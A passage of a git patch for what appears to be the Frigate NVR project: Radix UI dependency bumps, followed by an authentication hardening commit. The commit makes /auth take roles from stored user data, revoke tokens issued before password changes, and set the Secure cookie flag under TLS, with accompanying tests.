"@radix-ui/react-use-size": "1.1.5" }, "peerDependencies": { @@ -2689,9 +2579,9 @@ } }, "node_modules/@radix-ui/react-slot": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/@radix-ui/react-slot/-/react-slot-1.4.0.tgz", - "integrity": "sha512-IuMVHZ+Ah5fkctu3X3qeFrV/ZrBcuWuDTFUUPfS/L5hvoTjzhp/HdWGE14CsQombPdEidsa33HVlYZXi49PZ1Q==", + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/@radix-ui/react-slot/-/react-slot-1.5.0.tgz", + "integrity": "sha512-tyYd9ddPXAysAbdbD9eYxgwpCSv6f3PncqVSNKQFSR5lcJVLz3cb/pANDoYrLiHBpXv7skortyUgGUWsYuPPFQ==", "license": "MIT", "dependencies": { "@radix-ui/react-compose-refs": "1.1.5" @@ -2707,16 +2597,16 @@ } }, "node_modules/@radix-ui/react-switch": { - "version": "1.3.8", - "resolved": "https://registry.npmjs.org/@radix-ui/react-switch/-/react-switch-1.3.8.tgz", - "integrity": "sha512-rr+zuoAeHWK3m6H4HgjOUiu3VsrQ/9JkjwY/uMnTgHJGPe9WNzDP/MOuIV7S+65p42DIxjGL0hAHktqBq82+2A==", + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/@radix-ui/react-switch/-/react-switch-1.4.1.tgz", + "integrity": "sha512-NpBGwc40rY02ZmSvuyeKk0Bvc8ZsNeTMi4qHvJ+ZH4EiYCv0zIXEgdCW4bVdzgIUeP9xxbLJSxKOUfqITYNmkA==", "license": "MIT", "dependencies": { - "@radix-ui/primitive": "1.1.7", + "@radix-ui/primitive": "1.2.0", "@radix-ui/react-compose-refs": "1.1.5", - "@radix-ui/react-context": "1.2.2", - "@radix-ui/react-primitive": "2.1.11", - "@radix-ui/react-use-controllable-state": "1.2.6", + "@radix-ui/react-context": "1.3.0", + "@radix-ui/react-primitive": "2.2.0", + "@radix-ui/react-use-controllable-state": "1.3.0", "@radix-ui/react-use-size": "1.1.5" }, "peerDependencies": { @@ -2735,19 +2625,19 @@ } }, "node_modules/@radix-ui/react-tabs": { - "version": "1.1.22", - "resolved": "https://registry.npmjs.org/@radix-ui/react-tabs/-/react-tabs-1.1.22.tgz", - "integrity": "sha512-GmVH+P3wx1ZPMuH7WajQzygZIbqgnsb5h8z4Ow3sQMuDqgcqISSBNom6MLVNJvfrkuJTtqfXc3ZolHjX+w0CHg==", + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/@radix-ui/react-tabs/-/react-tabs-1.2.1.tgz", + "integrity": "sha512-hRoJlode+hg5ZNlR+3tkfkUliIybdTpD5lkAvHQ9yaXseGf7XVO9Ib2GPEIOuaJJbo7YWYbNpDDRfo8Dhf6/xA==", "license": "MIT", "dependencies": { - "@radix-ui/primitive": "1.1.7", - "@radix-ui/react-context": "1.2.2", - "@radix-ui/react-direction": "1.1.5", + "@radix-ui/primitive": "1.2.0", + "@radix-ui/react-context": "1.3.0", + "@radix-ui/react-direction": "1.2.0", "@radix-ui/react-id": "1.1.4", "@radix-ui/react-presence": "1.1.11", - "@radix-ui/react-primitive": "2.1.11", - "@radix-ui/react-roving-focus": "1.1.20", - "@radix-ui/react-use-controllable-state": "1.2.6" + "@radix-ui/react-primitive": "2.2.0", + "@radix-ui/react-roving-focus": "1.2.1", + "@radix-ui/react-use-controllable-state": "1.3.0" }, "peerDependencies": { "@types/react": "*", @@ -2765,14 +2655,14 @@ } }, "node_modules/@radix-ui/react-toggle": { - "version": "1.1.19", - "resolved": "https://registry.npmjs.org/@radix-ui/react-toggle/-/react-toggle-1.1.19.tgz", - "integrity": "sha512-l7FQHtuZjUJ0vKLdhKu5LzZ8Jw6K60QEC1tC22QNLuXN2PkydSoqEhKTCqwxBFZJ52NTCjzudDvl9sUsZeUbPw==", + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/@radix-ui/react-toggle/-/react-toggle-1.2.1.tgz", + "integrity": "sha512-+3MUq+WyiBplXYqQ0EIYlq8R4sLQ0T5NbOK7DMdDLCKO93pe2uE0DUJTWWfTBprpJJXxfoF3eMW0xpakVZrYsg==", "license": "MIT", "dependencies": { - "@radix-ui/primitive": "1.1.7", - "@radix-ui/react-primitive": "2.1.11", - "@radix-ui/react-use-controllable-state": "1.2.6" + "@radix-ui/primitive": "1.2.0", + "@radix-ui/react-primitive": "2.2.0", + "@radix-ui/react-use-controllable-state": "1.3.0" }, "peerDependencies": { "@types/react": "*", @@ -2790,18 +2680,18 @@ } }, "node_modules/@radix-ui/react-toggle-group": { - "version": "1.1.20", - "resolved": "https://registry.npmjs.org/@radix-ui/react-toggle-group/-/react-toggle-group-1.1.20.tgz", - "integrity": "sha512-O+Sjiv64DfnByHYtnKEXmn63uUskU/X61vjf69X1v8JFn/ZvuNNLdJTBfYurVTSDv4/RJnJGtGgb/uvuS/rRJw==", + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/@radix-ui/react-toggle-group/-/react-toggle-group-1.2.1.tgz", + "integrity": "sha512-O8Ldx5ao4p4KoW+DO8/PmkOe5mdKNi3F2SseqjVj88wvDGDHe60cUmO0Zm/uHsKrvNgQGV8Efpuh95Tht/h4vw==", "license": "MIT", "dependencies": { - "@radix-ui/primitive": "1.1.7", - "@radix-ui/react-context": "1.2.2", - "@radix-ui/react-direction": "1.1.5", - "@radix-ui/react-primitive": "2.1.11", - "@radix-ui/react-roving-focus": "1.1.20", - "@radix-ui/react-toggle": "1.1.19", - "@radix-ui/react-use-controllable-state": "1.2.6" + "@radix-ui/primitive": "1.2.0", + "@radix-ui/react-context": "1.3.0", + "@radix-ui/react-direction": "1.2.0", + "@radix-ui/react-primitive": "2.2.0", + "@radix-ui/react-roving-focus": "1.2.1", + "@radix-ui/react-toggle": "1.2.1", + "@radix-ui/react-use-controllable-state": "1.3.0" }, "peerDependencies": { "@types/react": "*", @@ -2819,24 +2709,25 @@ } }, "node_modules/@radix-ui/react-tooltip": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/@radix-ui/react-tooltip/-/react-tooltip-1.3.0.tgz", - "integrity": "sha512-4HM4b1Cft1CBXCGDRDG3S/fh8GedBuVOMNh145wMIfTbVqcuv+tyj03nZqYgFevWJMYo58H0s+8P6s6NaUHWtA==", + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/@radix-ui/react-tooltip/-/react-tooltip-1.4.1.tgz", + "integrity": "sha512-NxLFGSFtZ78zVfcoOhTwR1xwqo5qx1Jh8Pw6FMZ9McCaqfRzz7/gIRahs2Oy5XlPgQ+8QkUcKbN5B0U44J/kCg==", "license": "MIT", "dependencies": { - "@radix-ui/primitive": "1.1.7", + "@radix-ui/primitive": "1.2.0", "@radix-ui/react-compose-refs": "1.1.5", - "@radix-ui/react-context": "1.2.2", - "@radix-ui/react-dismissable-layer": "1.1.20", + "@radix-ui/react-context": "1.3.0", + "@radix-ui/react-dismissable-layer": "1.2.1", + "@radix-ui/react-focus-scope": "1.3.1", "@radix-ui/react-id": "1.1.4", - "@radix-ui/react-popper": "1.3.8", - "@radix-ui/react-portal": "1.1.18", + "@radix-ui/react-popper": "1.4.0", + "@radix-ui/react-portal": "1.2.0", "@radix-ui/react-presence": "1.1.11", - "@radix-ui/react-primitive": "2.1.11", - "@radix-ui/react-slot": "1.4.0", - "@radix-ui/react-use-controllable-state": "1.2.6", + "@radix-ui/react-primitive": "2.2.0", + "@radix-ui/react-slot": "1.5.0", + "@radix-ui/react-use-controllable-state": "1.3.0", "@radix-ui/react-use-layout-effect": "1.1.4", - "@radix-ui/react-visually-hidden": "1.2.12" + "@radix-ui/react-visually-hidden": "1.2.13" }, "peerDependencies": { "@types/react": "*", @@ -2854,10 +2745,13 @@ } }, "node_modules/@radix-ui/react-use-callback-ref": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/@radix-ui/react-use-callback-ref/-/react-use-callback-ref-1.1.4.tgz", - "integrity": "sha512-R6OUY2e2fA6Yn6s+VSx5KBV6Nx8LQEhu+cz7LCej18rQ1HLyg9PSC9jP/ZNx0o6FAIK9c0F1kHylzSxKsdlkrQ==", + "version": "1.1.5", + "resolved": "https://registry.npmjs.org/@radix-ui/react-use-callback-ref/-/react-use-callback-ref-1.1.5.tgz", + "integrity": "sha512-Y5GBf4NKeADoXI1geiMlMuMoURT3k9MizzzKhGb/m55H94aGigZ01PIpkvsO6lML13BA6XYAXSJ6gza7vTn5nw==", "license": "MIT", + "dependencies": { + "@radix-ui/react-use-layout-effect": "1.1.4" + }, "peerDependencies": { "@types/react": "*", "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" @@ -2869,12 +2763,12 @@ } }, "node_modules/@radix-ui/react-use-controllable-state": { - "version": "1.2.6", - "resolved": "https://registry.npmjs.org/@radix-ui/react-use-controllable-state/-/react-use-controllable-state-1.2.6.tgz", - "integrity": "sha512-uEQJGT97ZA/TgP/Hydw47lHu+/vQj6z/0jA+WeTbK1o9Rx45GImjpD0tc3W5ad3D6XTSR6e1yEO0FvGq6WQfVQ==", + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/@radix-ui/react-use-controllable-state/-/react-use-controllable-state-1.3.0.tgz", + "integrity": "sha512-TAcBI7bw2ljYCbv4+zuTSd6zICu8pRt6SDN2vJ/Z06K2MXh6I9WYFe/A9ovlFDtR5HVHGm5iDxDoABm/++dbKg==", "license": "MIT", "dependencies": { - "@radix-ui/primitive": "1.1.7", + "@radix-ui/primitive": "1.2.0", "@radix-ui/react-use-effect-event": "0.0.5", "@radix-ui/react-use-layout-effect": "1.1.4" }, @@ -2936,28 +2830,13 @@ } } }, - "node_modules/@radix-ui/react-use-previous": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/@radix-ui/react-use-previous/-/react-use-previous-1.1.4.tgz", - "integrity": "sha512-XoSLhbRbqxFtgJoi2fNHA3C6pDlY34x508vUpUGoFZfvePfHXHbE1lC4FYFMnJWgiCRroSTw6fOsXQoVS9RwZg==", - "license": "MIT", - "peerDependencies": { - "@types/react": "*", - "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc" - }, - "peerDependenciesMeta": { - "@types/react": { - "optional": true - } - } - }, "node_modules/@radix-ui/react-use-rect": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/@radix-ui/react-use-rect/-/react-use-rect-1.1.1.tgz", - "integrity": "sha512-QTYuDesS0VtuHNNvMh+CjlKJ4LJickCMUAqjlE3+j8w+RlRpwyX3apEQKGFzbZGdo7XNG1tXa+bQqIE7HIXT2w==", + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/@radix-ui/react-use-rect/-/react-use-rect-1.1.4.tgz", + "integrity": "sha512-cSOCh6JlkmfjLyNcLiu2nB4v+nm+dkZ+Q5KHWk/soo4U7ZLiEQFKHK9/YmtBHjfCEaU43IBKQOc4/uJmCaiCTQ==", "license": "MIT", "dependencies": { - "@radix-ui/rect": "1.1.1" + "@radix-ui/rect": "1.1.3" }, "peerDependencies": { "@types/react": "*", @@ -2988,12 +2867,12 @@ } }, "node_modules/@radix-ui/react-visually-hidden": { - "version": "1.2.12", - "resolved": "https://registry.npmjs.org/@radix-ui/react-visually-hidden/-/react-visually-hidden-1.2.12.tgz", - "integrity": "sha512-/iPLVHRBzKWvekN+5xaDmXw80f+nleYYceomVORrGjuJe0LF2SCbSH4f/LG4hu32q92QSuPZx4hmSACYBVBfzQ==", + "version": "1.2.13", + "resolved": "https://registry.npmjs.org/@radix-ui/react-visually-hidden/-/react-visually-hidden-1.2.13.tgz", + "integrity": "sha512-feijiN1oPk4rck4u9Dm9tsU4mT6Wp9oeEEhaz1WUEs1VuqLf8xzsFG+Qk+uWq6TnMH9O+WRECRg0NftyP9E4Fw==", "license": "MIT", "dependencies": { - "@radix-ui/react-primitive": "2.1.11" + "@radix-ui/react-primitive": "2.2.0" }, "peerDependencies": { "@types/react": "*", @@ -3011,9 +2890,9 @@ } }, "node_modules/@radix-ui/rect": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/@radix-ui/rect/-/rect-1.1.1.tgz", - "integrity": "sha512-HPwpGIzkl28mWyZqG52jiqDJ12waP11Pa1lGoiyUkIEuMLBP0oeK/C89esbXrxsky5we7dfd8U58nm0SgAWpVw==", + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/@radix-ui/rect/-/rect-1.1.3.tgz", + "integrity": "sha512-JtyZR+mqgBibTo8xea3B6ZRmzZiM/YeVBtUkas6zMuXjAlfIFIW2FgqeM9eLyvEaYX66vr6DJMK+4U6LV0KhNw==", "license": "MIT" }, "node_modules/@rjsf/core": { diff --git a/web/package.json b/web/package.json index 812f2a4f6e..0e5032eab9 100644 --- a/web/package.json +++ b/web/package.json @@ -23,28 +23,28 @@ "dependencies": { "@cycjimmy/jsmpeg-player": "^6.1.2", "@hookform/resolvers": "^5.9.1", - "@radix-ui/react-alert-dialog": "^1.1.24", - "@radix-ui/react-aspect-ratio": "^1.1.16", - "@radix-ui/react-checkbox": "^1.3.12", - "@radix-ui/react-collapsible": "^1.1.21", - "@radix-ui/react-context-menu": "^2.3.8", + "@radix-ui/react-alert-dialog": "^1.2.1", + "@radix-ui/react-aspect-ratio": "^1.2.0", + "@radix-ui/react-checkbox": "^1.4.1", + "@radix-ui/react-collapsible": "^1.2.1", + "@radix-ui/react-context-menu": "^2.4.1", "@radix-ui/react-dialog": "^1.2.0", - "@radix-ui/react-dropdown-menu": "^2.1.25", - "@radix-ui/react-hover-card": "^1.1.24", - "@radix-ui/react-label": "^2.1.16", - "@radix-ui/react-popover": "^1.2.0", - "@radix-ui/react-progress": "^1.1.17", - "@radix-ui/react-radio-group": "^1.4.8", - "@radix-ui/react-scroll-area": "^1.3.0", - "@radix-ui/react-select": "^2.3.8", - "@radix-ui/react-separator": "^1.1.16", - "@radix-ui/react-slider": "^1.5.0", - "@radix-ui/react-slot": "1.4.0", - "@radix-ui/react-switch": "^1.3.8", - "@radix-ui/react-tabs": "^1.1.22", - "@radix-ui/react-toggle": "^1.1.19", - "@radix-ui/react-toggle-group": "^1.1.20", - "@radix-ui/react-tooltip": "^1.3.0", + "@radix-ui/react-dropdown-menu": "^2.2.1", + "@radix-ui/react-hover-card": "^1.2.1", + "@radix-ui/react-label": "^2.1.17", + "@radix-ui/react-popover": "^1.3.1", + "@radix-ui/react-progress": "^1.2.1", + "@radix-ui/react-radio-group": "^1.5.1", + "@radix-ui/react-scroll-area": "^1.4.0", + "@radix-ui/react-select": "^2.4.1", + "@radix-ui/react-separator": "^1.2.0", + "@radix-ui/react-slider": "^1.6.1", + "@radix-ui/react-slot": "1.5.0", + "@radix-ui/react-switch": "^1.4.1", + "@radix-ui/react-tabs": "^1.2.1", + "@radix-ui/react-toggle": "^1.2.1", + "@radix-ui/react-toggle-group": "^1.2.1", + "@radix-ui/react-tooltip": "^1.4.1", "@rjsf/core": "^6.10.1", "@rjsf/shadcn": "^6.10.1", "@rjsf/utils": "^6.10.1", @@ -127,7 +127,6 @@ }, "overrides": { "@radix-ui/react-compose-refs": "1.1.2", - "@radix-ui/react-popper": "1.2.8", - "@radix-ui/react-slot": "1.4.0" + "@radix-ui/react-slot": "1.5.0" } } diff --git a/web/src/components/preview/ScrubbablePreview.tsx b/web/src/components/preview/ScrubbablePreview.tsx index 53f839ef69..93f949bc6f 100644 --- a/web/src/components/preview/ScrubbablePreview.tsx +++ b/web/src/components/preview/ScrubbablePreview.tsx @@ -210,7 +210,7 @@ export function VideoPreview({ }, [playerRef]); const onProgressHover = useCallback( - (event: React.MouseEvent) => { + (event: React.MouseEvent) => { if (!sliderRef.current) { return; } @@ -401,7 +401,7 @@ export function InProgressPreview({ ); const onProgressHover = useCallback( - (event: React.MouseEvent) => { + (event: React.MouseEvent) => { if (!sliderRef.current || !previewFrames) { return; } From 6ba3198232249a53981a93e93f5881a80f0db8b7 Mon Sep 17 00:00:00 2001 From: Josh Hawkins <32435876+hawkeye217@users.noreply.github.com> Date: Mon, 19 Oct 2026 09:44:37 -0500 Subject: [PATCH 07/13] Revoke stale sessions in /auth (#24713) * take the jwt role from the user and revoke stale sessions /auth trusted the role claim in the token, and only checked password_changed_at when refreshing a cookie. Demoting or deleting a user, changing a password, or resetting the admin password left existing cookies and bearer tokens working with their old role. The API now keeps each user's role and password change time in memory, loads it at startup, and updates it from the user endpoints. /auth rejects unknown users and tokens issued before the last password change, and authorizes with the stored role without touching the database. Resetting the admin password now sets password_changed_at. * set the secure cookie flag when the request arrived over tls The session cookie only got the Secure flag from auth.cookie_secure, which defaults to false even though TLS is on by default, so browsers would send it over plain HTTP. The cookie is now Secure whenever nginx reports an https scheme, and nginx passes that scheme to the /auth subrequest so refreshed cookies match. cookie_secure still forces the flag for a reverse proxy that terminates TLS in front of plain-HTTP Frigate. * regenerate config schema mock data * revoke tokens issued in the same second as a password change /auth compared the token's whole-second iat against the truncated change time, so a token issued earlier in the same second as a password change stayed valid. The change time is now rounded up, and the cookie reissued to a user who changes their own password carries that rounded-up iat so it still passes. * note that a proxy on the tls port must serve https to browsers * reject users whose role was removed from the config A user whose role was removed from the config fell back to viewer, which has no camera restrictions, so a restricted role removed from yaml gained access to every camera. /auth now rejects that user's tokens, and login refuses them until an admin assigns a valid role. * floor password change time to match iat The password change time was rounded up while the token iat was rounded down, so a login in the same second as a password change got a token that /auth rejected as revoked. Both are floored now, which leaves a sub-second window where a token issued just before the change stays valid. * set password_changed_at on user creation A recreated username had no password change cutoff, so an unexpired token from the deleted account passed /auth with the new account's role. Creating a user now sets the cutoff to the creation time. --- .../usr/local/nginx/conf/auth_location.conf | 1 + docs/docs/configuration/advanced/reference.md | 4 +- frigate/api/auth.py | 98 ++++--- frigate/api/fastapi_app.py | 2 + frigate/app.py | 1 + frigate/config/auth.py | 2 +- .../test/http_api/test_http_auth_jwt_role.py | 270 ++++++++++++++++-- .../http_api/test_http_go2rtc_proxy_auth.py | 1 + web/e2e/fixtures/mock-data/config-schema.json | 2 +- web/public/locales/en/config/global.json | 2 +- 10 files changed, 324 insertions(+), 59 deletions(-) diff --git a/docker/main/rootfs/usr/local/nginx/conf/auth_location.conf b/docker/main/rootfs/usr/local/nginx/conf/auth_location.conf index 9e2827c3d2..b14cd6ef50 100644 --- a/docker/main/rootfs/usr/local/nginx/conf/auth_location.conf +++ b/docker/main/rootfs/usr/local/nginx/conf/auth_location.conf @@ -19,6 +19,7 @@ location /auth { # this cannot be spoofed proxy_set_header X-Go2rtc-Stream-Proxy $go2rtc_stream_proxy; proxy_set_header X-Server-Port $server_port; + proxy_set_header X-Forwarded-Proto $scheme; proxy_set_header Content-Length ""; # Pass along auth related info proxy_set_header Authorization $http_authorization; diff --git a/docs/docs/configuration/advanced/reference.md b/docs/docs/configuration/advanced/reference.md index 91e3b3b12e..275b855de8 100644 --- a/docs/docs/configuration/advanced/reference.md +++ b/docs/docs/configuration/advanced/reference.md @@ -117,7 +117,9 @@ auth: # Optional: Cookie to store the JWT token for native auth (default: shown below) cookie_name: frigate_token # Optional: Set secure flag on cookie. (default: shown below) - # NOTE: This should be set to True if you are using TLS + # NOTE: Frigate sets the flag automatically when serving TLS. Set this to True + # when a reverse proxy terminates TLS in front of Frigate. A proxy that connects + # to the TLS port must serve Frigate to browsers over HTTPS cookie_secure: False # Optional: Session length in seconds (default: shown below) session_length: 86400 # 24 hours diff --git a/frigate/api/auth.py b/frigate/api/auth.py index b3c730df71..2ed059bf82 100644 --- a/frigate/api/auth.py +++ b/frigate/api/auth.py @@ -471,8 +471,37 @@ def create_encoded_jwt(user, role, expiration, secret): ) +def _user_session(user: User) -> tuple[str, int | None]: + changed_at = user.password_changed_at + + # floored like iat, so a login in the same second as the change stays valid + return user.role, int(changed_at.timestamp()) if changed_at else None + + +def load_user_sessions() -> dict[str, tuple[str, int | None]]: + """Map each username to its role and password change time for /auth.""" + return {user.username: _user_session(user) for user in User.select()} + + +def refresh_user_session(request: Request, username: str) -> None: + """Sync the /auth session map after a user is created, changed or deleted.""" + user = User.get_or_none(User.username == username) + if user is None: + request.app.user_sessions.pop(username, None) + else: + request.app.user_sessions[username] = _user_session(user) + + +def is_secure_request(request: Request) -> bool: + """Check the cookie setting and nginx's forwarded scheme for HTTPS.""" + # nginx sets X-Forwarded-Proto to its own scheme, replacing any client value + return ( + request.app.frigate_config.auth.cookie_secure + or request.headers.get("x-forwarded-proto") == "https" + ) + + def set_jwt_cookie(response: Response, cookie_name, encoded_jwt, max_age, secure): - # TODO: ideally this would set secure as well, but that requires TLS # Starlette sets SameSite=Lax by default. The cookie is still sent to # same-site iframes (e.g. Home Assistant on the same host or domain), but # not to cross-site ones. CSRF is also mitigated by requiring a custom @@ -750,7 +779,6 @@ def auth(request: Request): fail_response.headers["location"] = "/login" JWT_COOKIE_NAME = request.app.frigate_config.auth.cookie_name - JWT_COOKIE_SECURE = request.app.frigate_config.auth.cookie_secure JWT_REFRESH = request.app.frigate_config.auth.refresh_time JWT_SESSION_LENGTH = request.app.frigate_config.auth.session_length @@ -776,20 +804,27 @@ def auth(request: Request): if "sub" not in token.claims: logger.debug("user not set in jwt token") return fail_response - if "role" not in token.claims: - logger.debug("role not set in jwt token") - return fail_response if "exp" not in token.claims: logger.debug("exp not set in jwt token") return fail_response user = token.claims.get("sub") - role = token.claims.get("role") + session = request.app.user_sessions.get(user) + if session is None: + logger.debug("jwt user %s no longer exists", user) + return fail_response + + role, password_changed_at = session + if password_changed_at is not None and ( + int(token.claims.get("iat", 0)) < password_changed_at + ): + logger.debug("jwt token issued before password change") + return fail_response - # the token keeps the role it was issued with, so a role removed from - # the config since then must send the user back through login if role not in auth_config.roles: - logger.debug("jwt role %s is not in the config", role) + logger.debug( + "jwt user %s has role %s, which is not in the config", user, role + ) return fail_response current_time = int(time.time()) @@ -812,25 +847,6 @@ def auth(request: Request): # if the jwt cookie is expiring soon if jwt_source == "cookie" and expiration - JWT_REFRESH <= current_time: logger.debug("jwt token expiring soon, refreshing cookie") - - # Check if password has been changed since token was issued - # If so, force re-login by rejecting the refresh - try: - user_obj = User.get_by_id(user) - if user_obj.password_changed_at is not None: - token_iat = int(token.claims.get("iat", 0)) - password_changed_timestamp = int( - user_obj.password_changed_at.timestamp() - ) - if token_iat < password_changed_timestamp: - logger.debug( - "jwt token issued before password change, rejecting refresh" - ) - return fail_response - except DoesNotExist: - logger.debug("user not found") - return fail_response - new_expiration = current_time + JWT_SESSION_LENGTH new_encoded_jwt = create_encoded_jwt( user, role, new_expiration, request.app.jwt_token @@ -840,7 +856,7 @@ def auth(request: Request): JWT_COOKIE_NAME, new_encoded_jwt, JWT_SESSION_LENGTH, - JWT_COOKIE_SECURE, + is_secure_request(request), ) success_response.headers["remote-user"] = user @@ -929,7 +945,6 @@ def login(request: Request, body: AppPostLoginBody): ) JWT_COOKIE_NAME = request.app.frigate_config.auth.cookie_name - JWT_COOKIE_SECURE = request.app.frigate_config.auth.cookie_secure JWT_SESSION_LENGTH = request.app.frigate_config.auth.session_length user = body.user password = body.password @@ -945,13 +960,16 @@ def login(request: Request, body: AppPostLoginBody): password_hash = db_user.password_hash if verify_password(password, password_hash): - role = getattr(db_user, "role", "viewer") - config_roles_set = set(request.app.frigate_config.auth.roles.keys()) - if role not in config_roles_set: + role = db_user.role + if role not in request.app.frigate_config.auth.roles: logger.warning( - f"User {db_user.username} has an invalid role {role}, falling back to 'viewer'." + "Login refused for user '%s' with role '%s', which is not in the config", + user, + role, ) - role = "viewer" + failed_logins.record(user, time.time(), known=True) + return JSONResponse(content={"message": "Login failed"}, status_code=401) + expiration = int(time.time()) + JWT_SESSION_LENGTH encoded_jwt = create_encoded_jwt(user, role, expiration, request.app.jwt_token) response = Response("", 200) @@ -960,7 +978,7 @@ def login(request: Request, body: AppPostLoginBody): JWT_COOKIE_NAME, encoded_jwt, JWT_SESSION_LENGTH, - JWT_COOKIE_SECURE, + is_secure_request(request), ) # Clear admin_first_time_login flag after successful admin login so the # UI stops showing the first-time login documentation link. @@ -1026,9 +1044,11 @@ def create_user( User.username: body.username, User.password_hash: password_hash, User.role: role, + User.password_changed_at: datetime.now(), User.notification_tokens: [], } ).execute() + refresh_user_session(request, body.username) request.app.config_publisher.publisher.publish("config/auth", None) return JSONResponse(content={"username": body.username}) @@ -1047,6 +1067,7 @@ def delete_user(request: Request, username: str): ) User.delete_by_id(username) + refresh_user_session(request, username) request.app.config_publisher.publisher.publish("config/auth", None) return JSONResponse(content={"success": True}) @@ -1114,13 +1135,13 @@ async def update_password( User.password_changed_at: datetime.now(), } ).where(User.username == username).execute() + refresh_user_session(request, username) response = JSONResponse(content={"success": True}) # If user changed their own password, issue a new JWT to keep them logged in if current_username == username: JWT_COOKIE_NAME = request.app.frigate_config.auth.cookie_name - JWT_COOKIE_SECURE = request.app.frigate_config.auth.cookie_secure JWT_SESSION_LENGTH = request.app.frigate_config.auth.session_length expiration = int(time.time()) + JWT_SESSION_LENGTH @@ -1133,7 +1154,7 @@ async def update_password( JWT_COOKIE_NAME, encoded_jwt, JWT_SESSION_LENGTH, - JWT_COOKIE_SECURE, + is_secure_request(request), ) return response @@ -1173,6 +1194,7 @@ async def update_role( ) User.set_by_id(username, {User.role: body.role}) + refresh_user_session(request, username) request.app.config_publisher.publisher.publish("config/auth", None) return JSONResponse(content={"success": True}) diff --git a/frigate/api/fastapi_app.py b/frigate/api/fastapi_app.py index 4e666c56f8..3d952c9da6 100644 --- a/frigate/api/fastapi_app.py +++ b/frigate/api/fastapi_app.py @@ -196,7 +196,9 @@ def create_fastapi_app( key_bytes = str(secret).encode("utf-8") app.jwt_token = OctKey.import_key(key_bytes) + app.user_sessions = auth.load_user_sessions() else: app.jwt_token = None + app.user_sessions = {} return app diff --git a/frigate/app.py b/frigate/app.py index 2d1914f393..fe7f1e237c 100644 --- a/frigate/app.py +++ b/frigate/app.py @@ -622,6 +622,7 @@ class FrigateApp: username="admin", role="admin", password_hash=password_hash, + password_changed_at=datetime.datetime.now(), notification_tokens=[], ).execute() diff --git a/frigate/config/auth.py b/frigate/config/auth.py index f821f0f2bf..376eb7ea78 100644 --- a/frigate/config/auth.py +++ b/frigate/config/auth.py @@ -27,7 +27,7 @@ class AuthConfig(FrigateBaseModel): cookie_secure: bool = Field( default=False, title="Secure cookie flag", - description="Set the secure flag on the auth cookie; should be true when using TLS.", + description="Always set the secure flag on the auth cookie. Frigate sets it automatically when serving TLS; enable this when a reverse proxy terminates TLS in front of Frigate. A proxy that connects to the TLS port must serve Frigate to browsers over HTTPS.", ) session_length: int = Field( default=86400, diff --git a/frigate/test/http_api/test_http_auth_jwt_role.py b/frigate/test/http_api/test_http_auth_jwt_role.py index 85f2a40521..15629becca 100644 --- a/frigate/test/http_api/test_http_auth_jwt_role.py +++ b/frigate/test/http_api/test_http_auth_jwt_role.py @@ -1,22 +1,29 @@ -"""Tests that /auth only accepts a JWT whose role is still in the config.""" +"""Tests that /auth takes the role and revocation state from the user, not the JWT.""" import os import time +from datetime import datetime +from types import SimpleNamespace from unittest.mock import MagicMock, Mock, patch -from frigate.api.auth import create_encoded_jwt +from joserfc import jwt + +from frigate.api.auth import create_encoded_jwt, hash_password from frigate.api.fastapi_app import create_fastapi_app +from frigate.app import FrigateApp from frigate.config import FrigateConfig from frigate.config.camera.updater import CameraConfigUpdatePublisher from frigate.const import JWT_SECRET_ENV_VAR -from frigate.models import Event, Recordings, ReviewSegment +from frigate.models import Event, Recordings, ReviewSegment, User from frigate.test.http_api.base_http_test import AuthTestClient, BaseTestHttp +PASSWORD = "correct-horse-battery" + @patch.dict(os.environ, {JWT_SECRET_ENV_VAR: "test-secret"}) class TestAuthJwtRole(BaseTestHttp): def setUp(self): - super().setUp(models=[Event, Recordings, ReviewSegment]) + super().setUp(models=[Event, Recordings, ReviewSegment, User]) self.minimal_config = { "mqtt": {"host": "mqtt"}, "auth": {"enabled": True, "roles": {"garage": ["front_door"]}}, @@ -36,6 +43,19 @@ class TestAuthJwtRole(BaseTestHttp): } }, } + User.delete().execute() + self._insert_user("admin", "admin") + self._insert_user("bob", "garage") + + def _insert_user(self, username: str, role: str): + User.insert( + { + User.username: username, + User.role: role, + User.password_hash: hash_password(PASSWORD, iterations=1), + User.notification_tokens: [], + } + ).execute() def _create_app(self): mock_publisher = Mock(spec=CameraConfigUpdatePublisher) @@ -55,27 +75,243 @@ class TestAuthJwtRole(BaseTestHttp): enforce_default_admin=False, ) - def _auth(self, app, role: str): - token = create_encoded_jwt("bob", role, int(time.time()) + 3600, app.jwt_token) - - with AuthTestClient(app) as client: - return client.get( - "/auth", - headers={ - "x-server-port": "8971", - "authorization": f"Bearer {token}", - }, + def _token(self, app, user: str, role: str, iat: int | None = None) -> str: + if iat is None: + return create_encoded_jwt( + user, role, int(time.time()) + 3600, app.jwt_token ) + return jwt.encode( + {"alg": "HS256"}, + {"sub": user, "role": role, "exp": int(time.time()) + 3600, "iat": iat}, + app.jwt_token, + ) + + def _auth(self, client, token: str, source: str = "bearer"): + headers = {"x-server-port": "8971"} + if source == "bearer": + headers["authorization"] = f"Bearer {token}" + else: + client.cookies.set("frigate_token", token) + + resp = client.get("/auth", headers=headers) + client.cookies.clear() + return resp + def test_configured_role_is_accepted(self): - resp = self._auth(self._create_app(), "garage") + app = self._create_app() + with AuthTestClient(app) as client: + resp = self._auth(client, self._token(app, "bob", "garage")) self.assertEqual(resp.status_code, 202) self.assertEqual(resp.headers["remote-user"], "bob") self.assertEqual(resp.headers["remote-role"], "garage") + def test_role_claim_is_ignored(self): + app = self._create_app() + with AuthTestClient(app) as client: + resp = self._auth(client, self._token(app, "bob", "admin")) + + self.assertEqual(resp.status_code, 202) + self.assertEqual(resp.headers["remote-role"], "garage") + def 